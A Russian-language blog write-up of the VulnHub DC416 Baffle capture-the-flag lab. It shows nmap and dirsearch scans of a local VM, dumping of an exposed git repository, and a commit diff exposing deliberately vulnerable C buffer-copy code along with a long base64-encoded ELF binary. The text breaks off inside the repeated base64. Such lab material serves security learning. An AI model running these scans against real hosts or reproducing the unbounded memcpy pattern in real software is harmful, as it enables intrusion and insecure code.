...

понедельник, 16 января 2017 г.

VulnHub: Реверсим всё что можно в DC416 Baffle

Всем доброго времени суток, этой статьёй хотелось бы завершить серию DC416, CTF с конференции DefCon Toronto's. Оставив на десерт DC416 Baffle, на мой взгляд, самый интересный и хардкорный квест, предоставленный командой VulnHub.

Внимание! Впереди будет много реверса и бинарной эксплуатации!

Если вы к этому не готовы, то рекомендую для начала ознакомиться с предыдущими райтапами:



Начнём


Запускаем виртуалку, и переходим к поиску открытых портов:
$ sudo arp-scan -l -I wlan0 | grep "CADMUS COMPUTER SYSTEMS" | awk '{print $1}' | xargs sudo nmap -sV -p1-65535

Starting Nmap 7.01 ( nmap.org ) at 2016-12-31 12:19 MSK
Nmap scan report for 192.168.1.190
Host is up (0.00071s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u3 (protocol 2.0)
80/tcp open http nginx 1.6.2
6969/tcp open acmsoda?
MAC Address: 08:00:27:84:83:C3 (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Flag 1


$ sudo dirsearch -u 'http://192.168.1.190' -w /usr/share/dirb/wordlists/big.txt -e php,html,js,jpg,txt,bak -r -f -x 403

Есть директория с git репозиторием. Выкачиваем её используя dvcs-ripper:

$ mkdir site-repo && cd site-repo
$ rip-git -u http://ift.tt/2jOnKFI
$ ls -ahl
drwxrwxr-x 6 gh0st3rs gh0st3rs 4,0K янв.   2 17:25 .git
-rw-rw-r-- 1 gh0st3rs gh0st3rs  616 янв.   2 17:25 hellofriend.c

Лог коммитов
commit 8bde72465957415c12ab6f89ff679f8f9e7c5c7a
Author: alice <alice@baffle.me>
Date:   Mon Oct 17 14:58:02 2016 -0400

    Trashed my code, but deployed the product anyway.

diff --git a/hellofriend.c b/hellofriend.c
index 10a4d9e..6f8855b 100644
--- a/hellofriend.c
+++ b/hellofriend.c
@@ -13,22 +13,13 @@ int parse_request(char *req, int n) {
     char mode[10];
     char *ptr = req; 
     FILE *fp;
-    
-    memset(file, 0, sizeof(file)); 
-    memset(mode, 0, sizeof(mode)); 
-
-    memset(data, 0, sizeof(data)); 
-    memset(to_write, 0, sizeof(to_write)); 
-
-    ptr = (char *)ptr + 2; 
-    file_len = strlen(ptr); 
-
-    ptr = (char *)ptr + file_len + 1;
-    ptr = (char *)ptr + 6;
-
-    memcpy(to_write, ptr, 500); 
-    memcpy(data, ptr, 2000); 
 
+    if (req_type == 0x01) {
+        /* todo */
+    }
+    if (req_type == 0x2) {
+        /* todo */
+    }
     return 0; 
 }
 
diff --git a/project.enc b/project.enc
deleted file mode 100644
index 7fe355b..0000000
--- a/project.enc
+++ /dev/null
@@ -1,147 +0,0 @@
-f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAUAZAAAAAAABAAAAAAAAAAPgYAAAAAAAAAAAAAEAAOAAI
-AEAAHwAcAAYAAAAFAAAAQAAAAAAAAABAAEAAAAAAAEAAQAAAAAAAwAEAAAAAAADAAQAAAAAAAAgA
-AAAAAAAAAwAAAAQAAAAAAgAAAAAAAAACQAAAAAAAAAJAAAAAAAAcAAAAAAAAABwAAAAAAAAAAQAA
-AAAAAAABAAAABQAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAFwLAAAAAAAAXAsAAAAAAAAAACAA
-AAAAAAEAAAAGAAAAYAsAAAAAAABgC2AAAAAAAGALYAAAAAAAYAIAAAAAAAB4BAAAAAAAAAAAIAAA
-AAAAAgAAAAYAAAB4CwAAAAAAAHgLYAAAAAAAeAtgAAAAAADQAQAAAAAAANABAAAAAAAACAAAAAAA
-AAAEAAAABAAAABwCAAAAAAAAHAJAAAAAAAAcAkAAAAAAAEQAAAAAAAAARAAAAAAAAAAEAAAAAAAA
-AFDldGQEAAAADAoAAAAAAAAMCkAAAAAAAAwKQAAAAAAAPAAAAAAAAAA8AAAAAAAAAAQAAAAAAAAA
-UeV0ZAcAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAv
-bGliNjQvbGQtbGludXgteDg2LTY0LnNvLjIABAAAABAAAAABAAAAR05VAAAAAAACAAAABgAAACAA
-AAAEAAAAFAAAAAMAAABHTlUAjY+HU1RRADsF2xXRTQeBhXaBO0kCAAAACwAAAAEAAAAGAAAAAAAA
-AAABEAALAAAAAAAAACkdjBwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAABIAAAAAAAAA
-AAAAAAAAAAAAAAAAPwAAABIAAAAAAAAAAAAAAAAAAAAAAAAAEQAAABIAAAAAAAAAAAAAAAAAAAAA
-AAAAJQAAABIAAAAAAAAAAAAAAAAAAAAAAAAALAAAABIAAAAAAAAAAAAAAAAAAAAAAAAARgAAABIA
-AAAAAAAAAAAAAAAAAAAAAAAAGAAAABIAAAAAAAAAAAAAAAAAAAAAAAAAWAAAACAAAAAAAAAAAAAA
-AAAAAAAAAAAAOAAAABIAAAAAAAAAAAAAAAAAAAAAAAAACwAAABIAAAAAAAAAAAAAAAAAAAAAAAAA
-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
-AAAAAAAAAAAAAAAAAwAEAGACQAAAAAAAAAAAAAAAAAAAAAAAAwAFAIgCQAAAAAAAAAAAAAAAAAAA
-AAAAAwAGAKgDQAAAAAAAAAAAAAAAAAAAAAAAAwAHACYEQAAAAAAAAAAAAAAAAAAAAAAAAwAIAEAE
-QAAAAAAAAAAAAAAAAAAAAAAAAwAJAHAEQAAAAAAAAAAAAAAAAAAAAAAAAwAKAKAEQAAAAAAAAAAA
-AAAAAAAAAAAAAwALAHgFQAAAAAAAAAAAAAAAAAAAAAAAAwAMAKAFQAAAAAAAAAAAAAAAAAAAAAAA
-AwANAEAGQAAAAAAAAAAAAAAAAAAAAAAAAwAOAFAGQAAAAAAAAAAAAAAAAAAAAAAAAwAPAPQJQAAA
-AAAAAAAAAAAAAAAAAAAAAwAQAAAKQAAAAAAAAAAAAAAAAAAAAAAAAwARAAwKQAAAAAAAAAAAAAAA
-AAAAAAAAAwASAEgKQAAAAAAAAAAAAAAAAAAAAAAAAwATAGALYAAAAAAAAAAAAAAAAAAAAAAAAwAU
-AGgLYAAAAAAAAAAAAAAAAAAAAAAAAwAVAHALYAAAAAAAAAAAAAAAAAAAAAAAAwAWAHgLYAAAAAAA
-AAAAAAAAAAAAAAAAAwAXAEgNYAAAAAAAAAAAAAAAAAAAAAAAAwAYAFANYAAAAAAAAAAAAAAAAAAA
-AAAAAwAZALANYAAAAAAAAAAAAAAAAAAAAAAAAwAaAMANYAAAAAAAAAAAAAAAAAAAAAAAAwAbAAAA
-AAAAAAAAAAAAAAAAAAABAAAABADx/wAAAAAAAAAAAAAAAAAAAAAMAAAAAQAVAHALYAAAAAAAAAAA
-AAAAAAAZAAAAAgAOAIAGQAAAAAAAAAAAAAAAAAAbAAAAAgAOAMAGQAAAAAAAAAAAAAAAAAAuAAAA
-AgAOAAAHQAAAAAAAAAAAAAAAAABEAAAAAQAaAMgNYAAAAAAAAQAAAAAAAABTAAAAAQAUAGgLYAAA
-AAAAAAAAAAAAAAB6AAAAAgAOACAHQAAAAAAAAAAAAAAAAACGAAAAAQATAGALYAAAAAAAAAAAAAAA
-AAClAAAABADx/wAAAAAAAAAAAAAAAAAAAAABAAAABADx/wAAAAAAAAAAAAAAAAAAAACtAAAAAQAS
-AFgLQAAAAAAAAAAAAAAAAAC7AAAAAQAVAHALYAAAAAAAAAAAAAAAAAAAAAAABADx/wAAAAAAAAAA
-AAAAAAAAAADHAAAAAAATAGgLYAAAAAAAAAAAAAAAAADYAAAAAQAWAHgLYAAAAAAAAAAAAAAAAADh
-AAAAAAATAGALYAAAAAAAAAAAAAAAAAD0AAAAAAARAAwKQAAAAAAAAAAAAAAAAAAHAQAAAQAYAFAN
-YAAAAAAAAAAAAAAAAAAdAQAAEgAOAPAJQAAAAAAAAgAAAAAAAAAtAQAAIAAAAAAAAAAAAAAAAAAA
-AAAAAABJAQAAEQAaAMANYAAAAAAACAAAAAAAAAD6AQAAIAAZALANYAAAAAAAAAAAAAAAAABdAQAA
-EAAZAMANYAAAAAAAAAAAAAAAAAAnAQAAEgAPAPQJQAAAAAAAAAAAAAAAAABkAQAAEgAAAAAAAAAA
-AAAAAAAAAAAAAAB4AQAAEgAAAAAAAAAAAAAAAAAAAAAAAACMAQAAEgAAAAAAAAAAAAAAAAAAAAAA
-AACgAQAAEgAAAAAAAAAAAAAAAAAAAAAAAAC0AQAAEgAAAAAAAAAAAAAAAAAAAAAAAADGAQAAEgAA
-AAAAAAAAAAAAAAAAAAAAAADlAQAAEgAAAAAAAAAAAAAAAAAAAAAAAAD4AQAAEAAZALANYAAAAAAA
-AAAAAAAAAAAFAgAAIAAAAAAAAAAAAAAAAAAAAAAAAAAUAgAAEQIZALgNYAAAAAAAAAAAAAAAAAAh
-AgAAEgAAAAAAAAAAAAAAAAAAAAAAAAA0AgAAEQAQAAAKQAAAAAAABAAAAAAAAABDAgAAEgAOAIAJ
-QAAAAAAAZQAAAAAAAADTAAAAEAAaANgPYAAAAAAAAAAAAAAAAAD+AQAAEgAOAFAGQAAAAAAAKgAA
-AAAAAABTAgAAEAAaAMANYAAAAAAAAAAAAAAAAABfAgAAEgAOAPcIQAAAAAAAfAAAAAAAAABkAgAA
-EgAAAAAAAAAAAAAAAAAAAAAAAAB3AgAAIAAAAAAAAAAAAAAAAAAAAAAAAACLAgAAEgAOAEYHQAAA
-AAAAsQEAAAAAAACZAgAAEQIZAMANYAAAAAAAAAAAAAAAAAClAgAAIAAAAAAAAAAAAAAAAAAAAAAA
-AAC/AgAAEQAaAOANYAAAAAAA9AEAAAAAAABNAgAAEgALAHgFQAAAAAAAAAAAAAAAAAAAY3J0c3R1
-ZmYuYwBfX0pDUl9MSVNUX18AZGVyZWdpc3Rlcl90bV9jbG9uZXMAX19kb19nbG9iYWxfZHRvcnNf
-YXV4AGNvbXBsZXRlZC42OTc5AF9fZG9fZ2xvYmFsX2R0b3JzX2F1eF9maW5pX2FycmF5X2VudHJ5
-AGZyYW1lX2R1bW15AF9fZnJhbWVfZHVtbXlfaW5pdF9hcnJheV9lbnRyeQBjdGZ0cC5jAF9fRlJB
-TUVfRU5EX18AX19KQ1JfRU5EX18AX19pbml0X2FycmF5X2VuZABfRFlOQU1JQwBfX2luaXRfYXJy
-YXlfc3RhcnQAX19HTlVfRUhfRlJBTUVfSERSAF9HTE9CQUxfT0ZGU0VUX1RBQkxFXwBfX2xpYmNf
-Y3N1X2ZpbmkAX0lUTV9kZXJlZ2lzdGVyVE1DbG9uZVRhYmxlAHN0ZG91dEBAR0xJQkNfMi4yLjUA
-X2VkYXRhAHN0cmxlbkBAR0xJQkNfMi4yLjUAc2V0YnVmQEBHTElCQ18yLjIuNQBwcmludGZAQEdM
-SUJDXzIuMi41AG1lbXNldEBAR0xJQkNfMi4yLjUAcmVhZEBAR0xJQkNfMi4yLjUAX19saWJjX3N0
-YXJ0X21haW5AQEdMSUJDXzIuMi41AGZnZXRzQEBHTElCQ18yLjIuNQBfX2RhdGFfc3RhcnQAX19n
-bW9uX3N0YXJ0X18AX19kc29faGFuZGxlAG1lbWNweUBAR0xJQkNfMi4xNABfSU9fc3RkaW5fdXNl
-ZABfX2xpYmNfY3N1X2luaXQAX19ic3Nfc3RhcnQAbWFpbgBmb3BlbkBAR0xJQkNfMi4yLjUAX0p2
-X1JlZ2lzdGVyQ2xhc3NlcwBwYXJzZV9yZXF1ZXN0AF9fVE1DX0VORF9fAF9JVE1fcmVnaXN0ZXJU
-TUNsb25lVGFibGUAdG9fd3JpdGUAAC5zeW10YWIALnN0cnRhYgAuc2hzdHJ0YWIALmludGVycAAu
-bm90ZS5BQkktdGFnAC5ub3RlLmdudS5idWlsZC1pZAAuZ251Lmhhc2gALmR5bnN5bQAuZHluc3Ry
-AC5nbnUudmVyc2lvbgAuZ251LnZlcnNpb25fcgAucmVsYS5keW4ALnJlbGEucGx0AC5pbml0AC5w
-bHQuZ290AC50ZXh0AC5maW5pAC5yb2RhdGEALmVoX2ZyYW1lX2hkcgAuZWhfZnJhbWUALmluaXRf
-YXJyYXkALmZpbmlfYXJyYXkALmpjcgAuZHluYW1pYwAuZ290LnBsdAAuZGF0YQAuYnNzAC5jb21t
-ZW50AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
-AAAAAAAAAAAAAAAAAAAAGwAAAAEAAAACAAAAAAAAAAACQAAAAAAAAAIAAAAAAAAcAAAAAAAAAAAA
-AAAAAAAAAQAAAAAAAAAAAAAAAAAAACMAAAAHAAAAAgAAAAAAAAAcAkAAAAAAABwCAAAAAAAAIAAA
-AAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAxAAAABwAAAAIAAAAAAAAAPAJAAAAAAAA8AgAA
-AAAAACQAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAARAAAAPb//28CAAAAAAAAAGACQAAA
-AAAAYAIAAAAAAAAkAAAAAAAAAAUAAAAAAAAACAAAAAAAAAAAAAAAAAAAAE4AAAALAAAAAgAAAAAA
-AACIAkAAAAAAAIgCAAAAAAAAIAEAAAAAAAAGAAAAAQAAAAgAAAAAAAAAGAAAAAAAAABWAAAAAwAA
-AAIAAAAAAAAAqANAAAAAAACoAwAAAAAAAH4AAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAA
-XgAAAP///28CAAAAAAAAACYEQAAAAAAAJgQAAAAAAAAYAAAAAAAAAAUAAAAAAAAAAgAAAAAAAAAC
-AAAAAAAAAGsAAAD+//9vAgAAAAAAAABABEAAAAAAAEAEAAAAAAAAMAAAAAAAAAAGAAAAAQAAAAgA
-AAAAAAAAAAAAAAAAAAB6AAAABAAAAAIAAAAAAAAAcARAAAAAAABwBAAAAAAAADAAAAAAAAAABQAA
-AAAAAAAIAAAAAAAAABgAAAAAAAAAhAAAAAQAAABCAAAAAAAAAKAEQAAAAAAAoAQAAAAAAADYAAAA
-AAAAAAUAAAAYAAAACAAAAAAAAAAYAAAAAAAAAI4AAAABAAAABgAAAAAAAAB4BUAAAAAAAHgFAAAA
-AAAAGgAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAACJAAAAAQAAAAYAAAAAAAAAoAVAAAAA
-AACgBQAAAAAAAKAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAAlAAAAAEAAAAGAAAAAAAA
-AEAGQAAAAAAAQAYAAAAAAAAIAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAJ0AAAABAAAA
-BgAAAAAAAABQBkAAAAAAAFAGAAAAAAAAogMAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAACj
-AAAAAQAAAAYAAAAAAAAA9AlAAAAAAAD0CQAAAAAAAAkAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAA
-AAAAAAAAqQAAAAEAAAACAAAAAAAAAAAKQAAAAAAAAAoAAAAAAAAJAAAAAAAAAAAAAAAAAAAABAAA
-AAAAAAAAAAAAAAAAALEAAAABAAAAAgAAAAAAAAAMCkAAAAAAAAwKAAAAAAAAPAAAAAAAAAAAAAAA
-AAAAAAQAAAAAAAAAAAAAAAAAAAC/AAAAAQAAAAIAAAAAAAAASApAAAAAAABICgAAAAAAABQBAAAA
-AAAAAAAAAAAAAAAIAAAAAAAAAAAAAAAAAAAAyQAAAA4AAAADAAAAAAAAAGALYAAAAAAAYAsAAAAA
-AAAIAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAANUAAAAPAAAAAwAAAAAAAABoC2AAAAAA
-AGgLAAAAAAAACAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAAAAAAAAAAAADhAAAAAQAAAAMAAAAAAAAA
-cAtgAAAAAABwCwAAAAAAAAgAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAAAAAAAAAAA5gAAAAYAAAAD
-AAAAAAAAAHgLYAAAAAAAeAsAAAAAAADQAQAAAAAAAAYAAAAAAAAACAAAAAAAAAAQAAAAAAAAAJgA
-AAABAAAAAwAAAAAAAABIDWAAAAAAAEgNAAAAAAAACAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAACAAA
-AAAAAADvAAAAAQAAAAMAAAAAAAAAUA1gAAAAAABQDQAAAAAAAGAAAAAAAAAAAAAAAAAAAAAIAAAA
-AAAAAAgAAAAAAAAA+AAAAAEAAAADAAAAAAAAALANYAAAAAAAsA0AAAAAAAAQAAAAAAAAAAAAAAAA
-AAAACAAAAAAAAAAAAAAAAAAAAP4AAAAIAAAAAwAAAAAAAADADWAAAAAAAMANAAAAAAAAGAIAAAAA
-AAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAADAQAAAQAAADAAAAAAAAAAAAAAAAAAAADADQAAAAAA
-ACYAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAEQAAAAMAAAAAAAAAAAAAAAAAAAAAAAAA
-6BcAAAAAAAAMAQAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAEAAAACAAAAAAAAAAAAAAAA
-AAAAAAAAAOgNAAAAAAAAOAcAAAAAAAAeAAAALwAAAAgAAAAAAAAAGAAAAAAAAAAJAAAAAwAAAAAA
-AAAAAAAAAAAAAAAAAAAgFQAAAAAAAMgCAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAA

commit d38ce2e28e32aa7787d5e8a2cb83d3f75c988eca
Author: alice <alice@baffle.me>
Date:   Mon Oct 17 14:55:07 2016 -0400

    Some assembly required

diff --git a/project.enc b/project.enc
new file mode 100644
index 0000000..7fe355b
--- /dev/null
+++ b/project.enc
@@ -0,0 +1,147 @@
+f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAUAZAAAAAAABAAAAAAAAAAPgYAAAAAAAAAAAAAEAAOAAI
+AEAAHwAcAAYAAAAFAAAAQAAAAAAAAABAAEAAAAAAAEAAQAAAAAAAwAEAAAAAAADAAQAAAAAAAAgA
+AAAAAAAAAwAAAAQAAAAAAgAAAAAAAAACQAAAAAAAAAJAAAAAAAAcAAAAAAAAABwAAAAAAAAAAQAA
+AAAAAAABAAAABQAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAFwLAAAAAAAAXAsAAAAAAAAAACAA
+AAAAAAEAAAAGAAAAYAsAAAAAAABgC2AAAAAAAGALYAAAAAAAYAIAAAAAAAB4BAAAAAAAAAAAIAAA
+AAAAAgAAAAYAAAB4CwAAAAAAAHgLYAAAAAAAeAtgAAAAAADQAQAAAAAAANABAAAAAAAACAAAAAAA
+AAAEAAAABAAAABwCAAAAAAAAHAJAAAAAAAAcAkAAAAAAAEQAAAAAAAAARAAAAAAAAAAEAAAAAAAA
+AFDldGQEAAAADAoAAAAAAAAMCkAAAAAAAAwKQAAAAAAAPAAAAAAAAAA8AAAAAAAAAAQAAAAAAAAA
+UeV0ZAcAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAv
+bGliNjQvbGQtbGludXgteDg2LTY0LnNvLjIABAAAABAAAAABAAAAR05VAAAAAAACAAAABgAAACAA
+AAAEAAAAFAAAAAMAAABHTlUAjY+HU1RRADsF2xXRTQeBhXaBO0kCAAAACwAAAAEAAAAGAAAAAAAA
+AAABEAALAAAAAAAAACkdjBwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAABIAAAAAAAAA
+AAAAAAAAAAAAAAAAPwAAABIAAAAAAAAAAAAAAAAAAAAAAAAAEQAAABIAAAAAAAAAAAAAAAAAAAAA
+AAAAJQAAABIAAAAAAAAAAAAAAAAAAAAAAAAALAAAABIAAAAAAAAAAAAAAAAAAAAAAAAARgAAABIA
+AAAAAAAAAAAAAAAAAAAAAAAAGAAAABIAAAAAAAAAAAAAAAAAAAAAAAAAWAAAACAAAAAAAAAAAAAA
+AAAAAAAAAAAAOAAAABIAAAAAAAAAAAAAAAAAAAAAAAAACwAAABIAAAAAAAAAAAAAAAAAAAAAAAAA
+MQAAABEAGgDADWAAAAAAAAgAAAAAAAAAAGxpYmMuc28uNgBmb3BlbgBwcmludGYAZmdldHMAc3Ry
+bGVuAG1lbXNldAByZWFkAHN0ZG91dABtZW1jcHkAc2V0YnVmAF9fbGliY19zdGFydF9tYWluAF9f
+Z21vbl9zdGFydF9fAEdMSUJDXzIuMTQAR0xJQkNfMi4yLjUAAAACAAIAAgACAAIAAgACAAAAAwAC
+AAIAAAABAAIAAQAAABAAAAAAAAAAlJGWBgAAAwBnAAAAEAAAAHUaaQkAAAIAcgAAAAAAAABIDWAA
+AAAAAAYAAAAIAAAAAAAAAAAAAADADWAAAAAAAAUAAAALAAAAAAAAAAAAAABoDWAAAAAAAAcAAAAB
+AAAAAAAAAAAAAABwDWAAAAAAAAcAAAACAAAAAAAAAAAAAAB4DWAAAAAAAAcAAAADAAAAAAAAAAAA
+AACADWAAAAAAAAcAAAAEAAAAAAAAAAAAAACIDWAAAAAAAAcAAAAFAAAAAAAAAAAAAACQDWAAAAAA
+AAcAAAAGAAAAAAAAAAAAAACYDWAAAAAAAAcAAAAHAAAAAAAAAAAAAACgDWAAAAAAAAcAAAAJAAAA
+AAAAAAAAAACoDWAAAAAAAAcAAAAKAAAAAAAAAAAAAABIg+wISIsFxQcgAEiFwHQF6LMAAABIg8QI
+wwAAAAAAAAAAAAAAAAAA/zWyByAA/yW0ByAADx9AAP8lsgcgAGgAAAAA6eD/////JaoHIABoAQAA
+AOnQ/////yWiByAAaAIAAADpwP////8lmgcgAGgDAAAA6bD/////JZIHIABoBAAAAOmg/////yWK
+ByAAaAUAAADpkP////8lggcgAGgGAAAA6YD/////JXoHIABoBwAAAOlw/////yVyByAAaAgAAADp
+YP////8lAgcgAGaQAAAAAAAAAAAx7UmJ0V5IieJIg+TwUFRJx8DwCUAASMfBgAlAAEjHx/cIQADo
+h/////RmDx9EAAC4xw1gAFVILcANYABIg/gOSInldhu4AAAAAEiFwHQRXb/ADWAA/+BmDx+EAAAA
+AABdww8fQABmLg8fhAAAAAAAvsANYABVSIHuwA1gAEjB/gNIieVIifBIweg/SAHGSNH+dBW4AAAA
+AEiFwHQLXb/ADWAA/+APHwBdw2YPH0QAAIA9wQYgAAB1EVVIieXobv///13GBa4GIAAB88MPH0AA
+v3ALYABIgz8AdQXrkw8fALgAAAAASIXAdPFVSInl/9Bd6Xr///9VSInlSIHsMAYAAEiJvdj5//+J
+tdT5//9Ii4XY+f//SIlF+EiNhfD7//+69AEAAL4AAAAASInH6F7+//9IjYXg+f//ugoAAAC+AAAA
